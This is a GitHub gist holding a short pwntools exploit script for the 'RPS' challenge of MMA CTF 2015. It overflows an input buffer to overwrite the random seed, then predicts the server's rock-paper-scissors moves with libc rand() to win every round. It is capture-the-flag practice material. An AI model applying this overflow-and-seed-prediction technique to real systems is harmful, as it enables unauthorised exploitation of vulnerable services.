Last active
March 10, 2016 16:46
-
-
Save zzoru/9b0bf4182fb2cdd2aa07 to your computer and use it in GitHub Desktop.
mma CTF 1st 2015 RPS write up
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import ctypes | |
import time | |
#conn = process('./rps') | |
conn = remote('milkyway.chal.mmactf.link', 1641) | |
seed = 'a' * 4 | |
LIBC = ctypes.cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") | |
LIBC.srand(u32(seed)) | |
conn.recvuntil(': ') | |
conn.sendline('a' * 48 + seed) | |
for i in xrange(0, 50): | |
conn.recvuntil('[RPS]') | |
janken = LIBC.rand() % 3 | |
if janken == 0: | |
conn.sendline('P') | |
elif janken == 1: | |
conn.sendline('S') | |
else: | |
conn.sendline('R') | |
conn.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment